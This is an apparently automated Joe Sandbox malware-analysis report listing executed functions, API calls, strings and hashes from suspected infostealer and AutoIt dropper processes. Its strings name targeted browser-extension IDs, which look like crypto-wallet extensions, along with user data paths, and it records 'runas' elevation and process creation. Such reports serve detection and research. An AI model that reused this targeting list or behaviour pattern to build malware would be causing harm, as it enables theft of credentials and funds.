API String ID: 0-3786617966
Opcode ID: 3866ed6cb04f81f8732a98ca38eb22aad3460bfe80451a4fb2cbe032e30de2f4
Instruction ID: db23785245dbc9966ba1972ceecd58bf439477c959b62ab0c982a3a64f5b872e
Opcode Fuzzy Hash: 3866ed6cb04f81f8732a98ca38eb22aad3460bfe80451a4fb2cbe032e30de2f4
Instruction Fuzzy Hash: 9F12B07654E3C18FD7478B7898656813FB0AF13228B1E44EBD4C0CF1B3E269485ACB66

Function 01181409 Relevance: 20.5, Strings: 16, Instructions: 468COMMON

Download Yara Rule

Strings

C:\Users\user\Documents\XZXHAVGRAG, xrefs: 01181486, 01181487
jiidiaalihmmhddjgbnbgdfflelocpak, xrefs: 01181713
kkpllkodjeloidieedojogacfhpaihoh, xrefs: 011816D6, 011816E0
cpojfbodiccabbabgimdeohkkpjfpbnf, xrefs: 0118168E, 0118169C
blnieiiffboillknjnepogjhkgnoapac, xrefs: 011816A6
ejjladinnckdgjemekebdpeokbikhfci, xrefs: 011816EE
opcgpfmipidbgpenhmajoajpbobppdil, xrefs: 01181706
nhnkbkgjikgcigadomkphalanndcapjk, xrefs: 01181676
ppbibelpcjmhbdihakflkdcoccbgbkpo, xrefs: 01181492
C:\Users\user\Documents\XZXHAVGRAG, xrefs: 0118162E
efbglgofoippbgcjepnhiblaibcnclgk, xrefs: 011816BE
phkbamefinggmakgklpkljjmgibohnba, xrefs: 01181647
C:\Users\user\AppData\Local, xrefs: 011817F6
nkddgncdjgjfcddamfgcmfnlhccnimig, xrefs: 01181652
nngceckbapebfimnlniiiahkandclblb, xrefs: 011816CA
Important Files/Desktop/SQRKHNBNYN, xrefs: 01181526

Memory Dump Source

Source File: 00000000.00000003.1858709746.0000000001178000.00000004.00000020.00020000.00000000.sdmp, Offset: 0117F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_117a000_file.jbxd

Similarity

API ID:
String ID: C:\Users\user\AppData\Local$C:\Users\user\Documents\XZXHAVGRAG$C:\Users\user\Documents\XZXHAVGRAG$Important Files/Desktop/SQRKHNBNYN$blnieiiffboillknjnepogjhkgnoapac$cpojfbodiccabbabgimdeohkkpjfpbnf$efbglgofoippbgcjepnhiblaibcnclgk$ejjladinnckdgjemekebdpeokbikhfci$jiidiaalihmmhddjgbnbgdfflelocpak$kkpllkodjeloidieedojogacfhpaihoh$nhnkbkgjikgcigadomkphalanndcapjk$nkddgncdjgjfcddamfgcmfnlhccnimig$nngceckbapebfimnlniiiahkandclblb$opcgpfmipidbgpenhmajoajpbobppdil$phkbamefinggmakgklpkljjmgibohnba$ppbibelpcjmhbdihakflkdcoccbgbkpo
API String ID: 0-468251371
Opcode ID: 3866ed6cb04f81f8732a98ca38eb22aad3460bfe80451a4fb2cbe032e30de2f4
Instruction ID: db23785245dbc9966ba1972ceecd58bf439477c959b62ab0c982a3a64f5b872e
Opcode Fuzzy Hash: 3866ed6cb04f81f8732a98ca38eb22aad3460bfe80451a4fb2cbe032e30de2f4
Instruction Fuzzy Hash: 9F12B07654E3C18FD7478B7898656813FB0AF13228B1E44EBD4C0CF1B3E269485ACB66

Analysis Process: KGMUJDGOAL6LWD7UD45LIZ.exePID: 7904, Parent PID: 7428COMMON

Executed Functions

Function 05690BF7 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1993207832.0000000005690000.00000040.00001000.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5690000_KGMUJDGOAL6LWD7UD45LIZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c495116ee0fefe729a8d9837bf4a970a4231a7b7298f2d44d6df392aa41eb104
Instruction ID: 173e4f1b1f51c8df4507a5758bccb2a0a194c98e4478a9617cec01a69ff94e87
Opcode Fuzzy Hash: c495116ee0fefe729a8d9837bf4a970a4231a7b7298f2d44d6df392aa41eb104
Instruction Fuzzy Hash: 9411E8EB20C120BD7546D5827B18EFB67AED5D6730331C82BF906C1506D2A94A8EA172

Function 05690C39 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1993207832.0000000005690000.00000040.00001000.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5690000_KGMUJDGOAL6LWD7UD45LIZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d9a0e94d1c2d35884c9e4142083861a675c340a83c4fe6354a1dca703f9cf2
Instruction ID: 58ff02c7c4b95a0020f716b82d86d35328cfa04d5c50c0eeebc46a39a08fe649
Opcode Fuzzy Hash: d5d9a0e94d1c2d35884c9e4142083861a675c340a83c4fe6354a1dca703f9cf2
Instruction Fuzzy Hash: 15115EFB10C121BD7906D5857B18DF76BAEE5D6730331C82BF802C5406D2A94E8EA1B2

Function 05690C1A Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1993207832.0000000005690000.00000040.00001000.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5690000_KGMUJDGOAL6LWD7UD45LIZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a5ffb3ff09bb6d117ea1f4bcd560799d555237862a5ef52caa29992ce1fdd00
Instruction ID: b7d5476fc8f1926632e35891eeb805a5a8cfdda97aa4711360b2462f38b9f1af
Opcode Fuzzy Hash: 2a5ffb3ff09bb6d117ea1f4bcd560799d555237862a5ef52caa29992ce1fdd00
Instruction Fuzzy Hash: E70117FB24C110BDB905D5427B18EFB67AEE6D6730731C82BF802D5441D2A90A8FA1B1

Function 05690C75 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1993207832.0000000005690000.00000040.00001000.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5690000_KGMUJDGOAL6LWD7UD45LIZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8c4ad156f17fe615ae2ec4e2ad7615cc578deb826f1086cb9fba4d50e74ca8c
Instruction ID: 0629fcd6cbb9958934be0f8d2c654e4e09a4f2570866043af3a0144d281a0534
Opcode Fuzzy Hash: a8c4ad156f17fe615ae2ec4e2ad7615cc578deb826f1086cb9fba4d50e74ca8c
Instruction Fuzzy Hash: AAF028B714C121AEA605D9626A289FB77AFF5D3730331883FF443C2846D359069EA232

Non-executed Functions

Function 05690149 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1993207832.0000000005690000.00000040.00001000.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5690000_KGMUJDGOAL6LWD7UD45LIZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7c7b1a39941d4a7e0098a85092d20a0a73cecb58237a4818d6b7e29d01d718e
Instruction ID: a7f5caedcbf65c1d3d2ef1eb91f09d6bc36defdfd79238f8a1cf63627e880c4b
Opcode Fuzzy Hash: e7c7b1a39941d4a7e0098a85092d20a0a73cecb58237a4818d6b7e29d01d718e
Instruction Fuzzy Hash: 8721B0FB24C2A17DB91AD0A53F28AFB676FD4C6730331C87AF802CB506D2559A4B9171

Analysis Process: 4V88JM9ZW2IZ0ZQGW7B.exePID: 8040, Parent PID: 7428COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.8%
Total number of Nodes:	1510
Total number of Limit Nodes:	56

Executed Functions

Function 001B42DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 001B430D

Part of subcall function 001B6B57: _wcslen.LIBCMT ref: 001B6B6A

GetCurrentProcess.KERNEL32(?,0024CB64,00000000,?,?), ref: 001B4422
IsWow64Process.KERNEL32(00000000,?,?), ref: 001B4429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 001B4454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 001B4466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 001B4474
FreeLibrary.KERNEL32(00000000,?,?), ref: 001B447B
GetSystemInfo.KERNEL32(?,?,?), ref: 001B44A0

Strings

GetNativeSystemInfo, xrefs: 001B4460
|O, xrefs: 001F36F8
kernel32.dll, xrefs: 001B444F

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: 8d766ff88b6d0042c5b5c38c477f7786895a2816c4c8936103c2a41eae0601a6
Instruction ID: 524569ce8276a89d717a8da2eb5a768e01bc9445743ce9ed336db6339c0e0cbd
Opcode Fuzzy Hash: 8d766ff88b6d0042c5b5c38c477f7786895a2816c4c8936103c2a41eae0601a6
Instruction Fuzzy Hash: 71A1C27E90B2C4DFD716D7697C4C1E57FAC6B26700B1888D9E08193AE2D36046BACB21

Function 001B42A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,001B50AA,?,?,00000000,00000000), ref: 001B42B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,001B50AA,?,?,00000000,00000000), ref: 001B42C9
LoadResource.KERNEL32(?,00000000,?,?,001B50AA,?,?,00000000,00000000,?,?,?,?,?,?,001B4F20), ref: 001F35BE
SizeofResource.KERNEL32(?,00000000,?,?,001B50AA,?,?,00000000,00000000,?,?,?,?,?,?,001B4F20), ref: 001F35D3
LockResource.KERNEL32(001B50AA,?,?,001B50AA,?,?,00000000,00000000,?,?,?,?,?,?,001B4F20,?), ref: 001F35E6

Strings

SCRIPT, xrefs: 001B42BF

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: f85d7d4d29fa496dc5ba01fa0ccefb8dca819da64075606be29e2e23df2fa252
Instruction ID: 3a9a11cf81ed2eab188322265b095dda74e450a61fd55254feae298d7d7d2032
Opcode Fuzzy Hash: f85d7d4d29fa496dc5ba01fa0ccefb8dca819da64075606be29e2e23df2fa252
Instruction Fuzzy Hash: C4118274201700BFD7258FA9EC49F677BB9EBC6B51F248169F842D6160DBB1DC009620

Function 001F2BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 001B2B6B

Part of subcall function 001B3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00281418,?,001B2E7F,?,?,?,00000000), ref: 001B3A78

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,00272224), ref: 001F2C10
ShellExecuteW.SHELL32(00000000,?,?,00272224), ref: 001F2C17

Strings

runas, xrefs: 001F2C0B

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: 84065eed466d53cdb4cae0ea9f9563775d1cf3e1711908c57cb9a4de28ca4a83
Instruction ID: de60f798db2fb1d1ec8bbf0e69f2d08d6f54f2211f67e2f3674515e26f365ec1
Opcode Fuzzy Hash: 84065eed466d53cdb4cae0ea9f9563775d1cf3e1711908c57cb9a4de28ca4a83
Instruction Fuzzy Hash: FE11B131209305AAC714FF64E895DFEBBA8ABB2300F54142DF596560E2CF318A6A8712

Function 0021D4DC Relevance: 6.1, APIs: 4, Instructions: 86
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0021D501
Process32FirstW.KERNEL32(00000000,?), ref: 0021D50F
Process32NextW.KERNEL32(00000000,?), ref: 0021D52F
CloseHandle.KERNELBASE(00000000), ref: 0021D5DC

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: f364977258936767083612c2c66ea942d0d3d1d2adfada4f7df20da2137453b6
Instruction ID: f3d95033c08275b875be3522dff81da960616553ae04f2c90c3ef9f1a92a3257
Opcode Fuzzy Hash: f364977258936767083612c2c66ea942d0d3d1d2adfada4f7df20da2137453b6
Instruction Fuzzy Hash: BA31E271108301EFD300EF54D885AEFBBF8EFA9344F50082DF586861A1EB719985CB92

Function 0021DBBE Relevance: 6.0, APIs: 4, Instructions: 29
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?,001F5222), ref: 0021DBCE
GetFileAttributesW.KERNELBASE(?), ref: 0021DBDD
FindFirstFileW.KERNEL32(?,?), ref: 0021DBEE
FindClose.KERNEL32(00000000), ref: 0021DBFA

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 29f31cf3e1b9d06e31ec8c0f9c1806b2971d8c4c5d96ac830b1aa038fa7b1687
Instruction ID: 576fcd58ebdb33d531190b5be4f34183334bed27a4c9dc3e412c079cfd87220e
Opcode Fuzzy Hash: 29f31cf3e1b9d06e31ec8c0f9c1806b2971d8c4c5d96ac830b1aa038fa7b1687
Instruction Fuzzy Hash: 3BF0EC34421910978220AF7CBC0D4EA37AC9E02334B604B03F935C10F0EBF05DA4C9D5

Function 001D4CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(001E28E9,?,001D4CBE,001E28E9,002788B8,0000000C,001D4E15,001E28E9,00000002,00000000,?,001E28E9), ref: 001D4D09
TerminateProcess.KERNEL32(00000000,?,001D4CBE,001E28E9,002788B8,0000000C,001D4E15,001E28E9,00000002,00000000,?,001E28E9), ref: 001D4D10
ExitProcess.KERNEL32 ref: 001D4D22

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: c36f2d6b120b38d213d1acafba6f184d8fe4ece84404f894007e6d031bef2f28
Instruction ID: 0d783a1920e577d43d6469f19afd5774ac9244bd93095aa0e77d204f736b8e28
Opcode Fuzzy Hash: c36f2d6b120b38d213d1acafba6f184d8fe4ece84404f894007e6d031bef2f28
Instruction Fuzzy Hash: ECE0BF35001548ABCF616F54ED0DA583F6AEB56741B144055FC198B222CB35DD41CA40

Function 0023AFF9 Relevance: 24.4, APIs: 16, Instructions: 418
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 0023B198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0023B1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0023B1D4
_wcslen.LIBCMT ref: 0023B200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0023B214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0023B236
_wcslen.LIBCMT ref: 0023B332

Part of subcall function 002205A7: GetStdHandle.KERNEL32(000000F6), ref: 002205C6

_wcslen.LIBCMT ref: 0023B34B
_wcslen.LIBCMT ref: 0023B366
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0023B3B6
GetLastError.KERNEL32(00000000), ref: 0023B407
CloseHandle.KERNEL32(?), ref: 0023B439
CloseHandle.KERNEL32(00000000), ref: 0023B44A
CloseHandle.KERNEL32(00000000), ref: 0023B45C
CloseHandle.KERNEL32(00000000), ref: 0023B46E
CloseHandle.KERNEL32(?), ref: 0023B4E3

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: b8da5c83896625332f69d302d909d9690b99cf4b76c57d21db31e7156c682fd0
Instruction ID: bd1aeeb94db032d0e2f35e92cfc24bfa81c9a3411806bbda684a70d22ce380f0
Opcode Fuzzy Hash: b8da5c83896625332f69d302d909d9690b99cf4b76c57d21db31e7156c682fd0
Instruction Fuzzy Hash: 22F1CC716183019FC725EF24C891B6FBBE5AF85310F14855DF99A8B2A2CB31EC50CB52

Function 001BD730 Relevance: 21.6, APIs: 14, Instructions: 631windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 001BD807
timeGetTime.WINMM ref: 001BDA07
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 001BDB28
TranslateMessage.USER32(?), ref: 001BDB7B
DispatchMessageW.USER32(?), ref: 001BDB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 001BDB9F
Sleep.KERNELBASE(0000000A), ref: 001BDBB1

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: 528c1d211916ee416b1db043f193f9956bb1fe20e0b475b0ea6c54cd4bc328a0
Instruction ID: 11492c1fd20e5d959990bb5cd1976ccd596b84d63b1cb2c41f5180c90b812d3b
Opcode Fuzzy Hash: 528c1d211916ee416b1db043f193f9956bb1fe20e0b475b0ea6c54cd4bc328a0
Instruction Fuzzy Hash: 6442F330614342DFD72DCF24D888BAAB7E4BF56304F54455EE45A872D2E770E868CB92

Function 001B2CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 001B2D07
RegisterClassExW.USER32(00000030), ref: 001B2D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 001B2D42
InitCommonControlsEx.COMCTL32(?), ref: 001B2D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 001B2D6F
LoadIconW.USER32(000000A9), ref: 001B2D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 001B2D94

Strings

0, xrefs: 001B2CE9
AutoIt v3 GUI, xrefs: 001B2D23
+, xrefs: 001B2CF0
TaskbarCreated, xrefs: 001B2D37

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: d2376ba5347e9f04a79b08fd7dc6f602a89ee6e327346ad0989f78a2ab316dc7
Instruction ID: 973a16e353253d903468ea12830cec0afd082f472d4a088b7facc8794b54d650
Opcode Fuzzy Hash: d2376ba5347e9f04a79b08fd7dc6f602a89ee6e327346ad0989f78a2ab316dc7
Instruction Fuzzy Hash: B421E3B9952318AFDB40DFA8E84DBDDBBB8FB09700F10411AF511A62A0D7B14551CF90

Function 001F065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001F039A: CreateFileW.KERNELBASE(00000000,00000000,?,001F0704,?,?,00000000,?,001F0704,00000000,0000000C), ref: 001F03B7

GetLastError.KERNEL32 ref: 001F076F
__dosmaperr.LIBCMT ref: 001F0776
GetFileType.KERNELBASE(00000000), ref: 001F0782
GetLastError.KERNEL32 ref: 001F078C
__dosmaperr.LIBCMT ref: 001F0795
CloseHandle.KERNEL32(00000000), ref: 001F07B5
CloseHandle.KERNEL32(?), ref: 001F08FF
GetLastError.KERNEL32 ref: 001F0931
__dosmaperr.LIBCMT ref: 001F0938

Strings

H, xrefs: 001F08BD

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 62bc8268af0378e007c5fb49056a346569ed1acfbca8aa20e55ac016dff191e9
Instruction ID: 3302e00ee84afa6a936527ba9f62544986d9bac06ee8c2cc9c6fe6f3270bbad3
Opcode Fuzzy Hash: 62bc8268af0378e007c5fb49056a346569ed1acfbca8aa20e55ac016dff191e9
Instruction Fuzzy Hash: 3BA14736A001088FDF1AAF68DC95BBE7BA0AB1A324F14415DF915DF392DB319D12CB91

Function 001B344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001B3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00281418,?,001B2E7F,?,?,?,00000000), ref: 001B3A78

Part of subcall function 001B3357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 001B3379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 001B356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 001F318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 001F31CE
RegCloseKey.ADVAPI32(?), ref: 001F3210
_wcslen.LIBCMT ref: 001F3277
_wcslen.LIBCMT ref: 001F3286

Strings

\Include\, xrefs: 001B3527
\, xrefs: 001F328C
Include, xrefs: 001F3184, 001F31C5
Software\AutoIt v3\AutoIt, xrefs: 001B3560

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

